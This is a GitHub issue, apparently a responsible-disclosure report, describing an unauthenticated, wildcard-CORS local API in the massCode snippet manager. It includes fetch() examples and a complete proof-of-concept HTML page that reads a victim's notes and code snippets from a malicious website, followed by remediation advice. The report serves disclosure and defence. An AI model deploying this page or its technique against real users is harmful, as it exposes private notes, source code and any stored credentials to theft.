Skip to content

[Bug]: Local Sensitive Logic Exposure leading to airbitary notes/code read #966

Description

@researchersongwu

Describe the bug

Introduction

First, thank you for developing and maintaining massCode. massCode is a well-designed and practical open-source project for organizing code snippets, notes, and developer knowledge. Its desktop experience and local data-management model make it particularly useful for developers who want an efficient way to maintain their personal code and technical notes.

During an academic security review of desktop applications and their locally exposed interfaces, we identified a security issue in massCode's local HTTP API.

We would like to emphasize that this report is not intended as criticism of the project or its developers. The purpose of this disclosure is to help improve the security of massCode and reduce potential risk to its users.

Vulnerability Summary

The local HTTP service exposed by massCode can be accessed by callers outside the intended application boundary.

During testing, the massCode API was observed to listen on all network interfaces, rather than being restricted exclusively to the loopback interface. At the same time, the API enables permissive cross-origin access:

// src/main/api/index.ts
.use(cors({ origin: '*' }))

Sensitive Notes and Snippets endpoints do not require authentication or another trusted-client credential.

Examples include:

GET    /notes
GET    /notes/:id
POST   /notes
PATCH  /notes/:id/content
DELETE /notes/:id

GET    /snippets
GET    /snippets/:id

GET    /note-folders
POST   /note-tags

Consequently, an attacker-controlled web page may be able to communicate directly with the massCode API running on the victim's machine and retrieve sensitive local information, including:

  • the user's Notes list;
  • complete Note contents;
  • code Snippet metadata;
  • complete code Snippet contents.

Where state-changing endpoints are reachable, the exposed API may additionally allow unauthorized creation, modification, or deletion of locally stored data.

Security Impact

This issue effectively exposes capabilities that appear to have been designed for communication between trusted massCode components to callers outside that trust boundary.

A realistic attack only requires the following:

  1. massCode is running on the victim's computer.
  2. Its local HTTP API is listening.
  3. The victim visits an attacker-controlled web page using a browser/environment in which the request to the local service is permitted.
  4. The malicious page sends requests to the massCode HTTP API.
  5. Because the API does not authenticate the caller and responds with permissive CORS headers, the malicious page can read the returned Notes or Snippets.

For example:

const notes = await fetch("http://127.0.0.1:4321/notes")
  .then(r => r.json());

const snippets = await fetch("http://127.0.0.1:4321/snippets")
  .then(r => r.json());

The attacker can subsequently request individual objects using their identifiers:

const note = await fetch(
  "http://127.0.0.1:4321/notes/" + noteId
).then(r => r.json());

const snippet = await fetch(
  "http://127.0.0.1:4321/snippets/" + snippetId
).then(r => r.json());

This may allow an attacker-controlled website to obtain arbitrary private Notes and source-code Snippets stored by the victim in massCode.

Because developers may store API examples, source code, internal URLs, configuration fragments, commands, credentials, tokens, or other sensitive development information inside their Notes and Snippets, disclosure of this data may have consequences beyond the massCode application itself.

Network Exposure

An additional concern is that the HTTP service is not limited strictly to the loopback interface and is instead exposed on all available network interfaces.

This expands the attack surface beyond requests originating from the local machine.

Depending on the host firewall and network configuration, another device on the same network may also be able to connect to the massCode service through the host's private network address.

Therefore, restricting exploitation only to 127.0.0.1 would underestimate the exposed attack surface.

For a local-only internal API, binding to:

127.0.0.1

or:

::1

would provide a substantially narrower network boundary than listening on:

0.0.0.0

Browser Local-Network Restrictions Are Not a Security Boundary

Some modern browsers have introduced Local Network Access protections intended to restrict requests from public websites to loopback or private-network destinations.

However, these browser-side protections should not be considered an authentication or authorization mechanism for massCode's local API.

Their availability and enforcement depend on the browser, browser version, configuration, request context, and platform. The technology has also continued to evolve across browser implementations.

Therefore, even if a particular browser version currently blocks or prompts for some requests to 127.0.0.1 or private-network addresses, this does not remove the underlying vulnerability.

The server currently has no independent mechanism to determine whether a request originates from:

  • the legitimate massCode frontend;
  • an arbitrary website;
  • another local process;
  • a browser extension;
  • or another host capable of reaching the exposed network interface.

A browser security feature should therefore be considered an additional mitigation rather than the trust boundary protecting sensitive massCode data.

Root Cause

The vulnerability results from the combination of several security conditions.

1. Sensitive Local API Without Caller Authentication

Notes and Snippets endpoints directly expose locally stored user data but do not require a secret, session credential, capability token, or other mechanism proving that the caller is an authorized massCode component.

For example, Notes routes directly invoke the application's storage functionality:

.get('/', ...)
.get('/:id', ...)
.post('/', ...)
.patch('/:id/content', ...)
.delete('/:id', ...)

There is no authentication check protecting these capabilities.

2. Wildcard Cross-Origin Access

The API enables:

.use(cors({ origin: '*' }))

This permits arbitrary origins to read responses from the HTTP API when the browser allows the underlying network request.

This is particularly dangerous for sensitive read endpoints because the attacker does not merely cause a request: JavaScript running on the malicious origin can obtain and process the returned content.

3. Network-Exposed Listener

The service listens beyond a strictly loopback-only interface.

As a result, an API apparently intended for internal application communication can become reachable from additional network contexts.

4. No Application-Level Trusted-Caller Verification

Sensitive routes do not independently validate:

  • a per-installation or per-session authentication token;
  • a trusted application capability;
  • the requesting Origin;
  • another cryptographically unpredictable credential;
  • or explicit user authorization.

The server therefore treats possession of network access to the API endpoint as sufficient authority to access sensitive application functionality.

Proof of Concept

The following page demonstrates the issue by requesting the victim's Notes and Snippets from the massCode API.

It performs read-only operations for demonstration purposes.

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>massCode Local API Audit</title>

  <style>
    body {
      margin: 24px;
      font-family: Arial, sans-serif;
      background: #f7f7f7;
      color: #222;
    }

    h1 {
      margin-top: 0;
      font-size: 22px;
    }

    .row {
      margin: 12px 0;
    }

    label {
      display: inline-block;
      width: 90px;
    }

    input, select, button {
      padding: 6px 8px;
      margin: 3px;
    }

    button {
      cursor: pointer;
    }

    pre {
      min-height: 420px;
      padding: 12px;
      overflow: auto;
      white-space: pre-wrap;
      background: #111;
      color: #eee;
      border: 1px solid #333;
    }
  </style>
</head>

<body>
  <h1>massCode Local API Audit</h1>

  <div class="row">
    <label for="port">Port</label>
    <input id="port" value="4321">
  </div>

  <div class="row">
    <button onclick="listNotes()">List notes</button>

    <select id="note-list"
      onchange="document.getElementById('note-id').value = this.value">
      <option value="">note id</option>
    </select>

    <input id="note-id" placeholder="note id">

    <button onclick="readNote()">Read note</button>
  </div>

  <div class="row">
    <button onclick="listSnippets()">List snippets</button>

    <select id="snippet-list"
      onchange="document.getElementById('snippet-id').value = this.value">
      <option value="">snippet id</option>
    </select>

    <input id="snippet-id" placeholder="snippet id">

    <button onclick="readSnippet()">Read snippet</button>
  </div>

  <div class="row">
    <button onclick="clearOutput()">Clear</button>
  </div>

  <pre id="output">Click a button to call the local massCode API.</pre>

  <script>
    function apiBase() {
      const port = document.getElementById('port').value || '4321';
      return 'http://127.0.0.1:' + port;
    }

    function show(value) {
      const output = document.getElementById('output');

      output.textContent = typeof value === 'string'
        ? value
        : JSON.stringify(value, null, 2);
    }

    function showError(error) {
      show(String(error && error.stack ? error.stack : error));
    }

    async function getJson(path) {
      const response = await fetch(apiBase() + path);
      const text = await response.text();

      if (!response.ok) {
        throw new Error(
          response.status +
          ' ' +
          response.statusText +
          '\n' +
          text
        );
      }

      return text ? JSON.parse(text) : null;
    }

    function itemsFrom(response) {
      if (Array.isArray(response)) {
        return response;
      }

      if (response && Array.isArray(response.data)) {
        return response.data;
      }

      if (response && Array.isArray(response.items)) {
        return response.items;
      }

      return [];
    }

    function fillSelect(selectId, items) {
      const select = document.getElementById(selectId);

      select.innerHTML =
        '<option value="">id</option>';

      for (const item of items) {
        const option = document.createElement('option');

        option.value = item.id;

        option.textContent =
          item.id +
          (
            item.name
              ? ' - ' + item.name
              : item.title
                ? ' - ' + item.title
                : ''
          );

        select.appendChild(option);
      }

      if (items[0]) {
        select.value = items[0].id;
        select.dispatchEvent(
          new Event('change')
        );
      }
    }

    async function listNotes() {
      try {
        const response = await getJson('/notes');
        const notes = itemsFrom(response);

        fillSelect(
          'note-list',
          notes
        );

        show({
          endpoint: 'GET /notes',
          count: notes.length,
          ids: notes.map(
            note => note.id
          ),
          response
        });

      } catch (error) {
        showError(error);
      }
    }

    async function readNote() {
      try {
        const id =
          document.getElementById(
            'note-id'
          ).value;

        if (!id) {
          throw new Error(
            'Please enter or select a note id.'
          );
        }

        const note =
          await getJson(
            '/notes/' +
            encodeURIComponent(id)
          );

        show({
          endpoint:
            'GET /notes/' + id,
          id,
          title:
            note &&
            (note.name || note.title),
          content:
            note && note.content,
          response: note
        });

      } catch (error) {
        showError(error);
      }
    }

    async function listSnippets() {
      try {
        const response =
          await getJson('/snippets');

        const snippets =
          itemsFrom(response);

        fillSelect(
          'snippet-list',
          snippets
        );

        show({
          endpoint:
            'GET /snippets',
          count:
            snippets.length,
          ids:
            snippets.map(
              snippet => snippet.id
            ),
          response
        });

      } catch (error) {
        showError(error);
      }
    }

    async function readSnippet() {
      try {
        const id =
          document.getElementById(
            'snippet-id'
          ).value;

        if (!id) {
          throw new Error(
            'Please enter or select a snippet id.'
          );
        }

        const snippet =
          await getJson(
            '/snippets/' +
            encodeURIComponent(id)
          );

        show({
          endpoint:
            'GET /snippets/' + id,
          id,
          name:
            snippet &&
            (
              snippet.name ||
              snippet.title
            ),
          contents:
            snippet &&
            snippet.contents,
          response:
            snippet
        });

      } catch (error) {
        showError(error);
      }
    }

    function clearOutput() {
      show('');
    }
  </script>
</body>
</html>

Expected Result

An arbitrary external website should not be able to retrieve Notes or Snippets from a massCode instance running on the user's machine.

Requests from an untrusted origin should either be rejected or require a credential that an attacker-controlled website cannot obtain.

Actual Result

Where the browser/environment permits the connection to the local service, an arbitrary website can send unauthenticated requests to the massCode API.

Because the API permits arbitrary origins through wildcard CORS, JavaScript on the attacking website can read the HTTP responses and obtain the victim's local Notes and code Snippets.

Recommended Remediation

We recommend addressing the issue at the application layer rather than relying on browser local-network protections.

Possible mitigations include:

  1. Bind the internal API only to loopback

    Use 127.0.0.1 and/or ::1 instead of listening on all network interfaces unless remote access is explicitly required.

  2. Introduce caller authentication

    Generate a cryptographically random secret when massCode starts and require it for all privileged local API requests.

    The secret should not be available to arbitrary websites.

  3. Remove wildcard CORS

    Avoid:

    cors({ origin: '*' })

    for APIs exposing sensitive local information.

    If browser-based application components require CORS, allow only the exact trusted application origin.

  4. Protect both read and write endpoints

    Authentication should apply consistently to endpoints that:

    • enumerate Notes or Snippets;
    • retrieve their contents;
    • create data;
    • modify data;
    • delete data;
    • expose related folders, tags, configuration, or metadata.
  5. Treat browser local-network protections as defense in depth only

    Local Network Access restrictions can provide additional protection in supporting browsers, but they should not replace server-side authentication and authorization.

Conclusion

The massCode local API exposes sensitive Notes and code Snippets without authenticating the caller, permits arbitrary origins through wildcard CORS, and is exposed beyond a strictly loopback-only listener.

Together, these conditions allow capabilities intended for trusted massCode components to become accessible outside the intended application boundary.

In affected browser and network environments, an attacker who convinces a massCode user to visit a malicious page may be able to retrieve the victim's private Notes and source-code Snippets without further interaction.

We are reporting this issue in good faith to help strengthen massCode's security and protect its users.

To reproduce

  1. deploy the poc html on remote webserver
  2. run masscode ,and create some notes or code snippets
  3. open the poc webpage with edge/safari/firefox
  4. click some buttons on it

App Version and Architecture

5.10.0

System info

npx envinfo --system

  System:
    OS: Windows 11 10.0.26200
    CPU: (20) x64 13th Gen Intel(R) Core(TM) i5-13600KF
    Memory: 21.17 GB / 31.81 GB

Validations

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions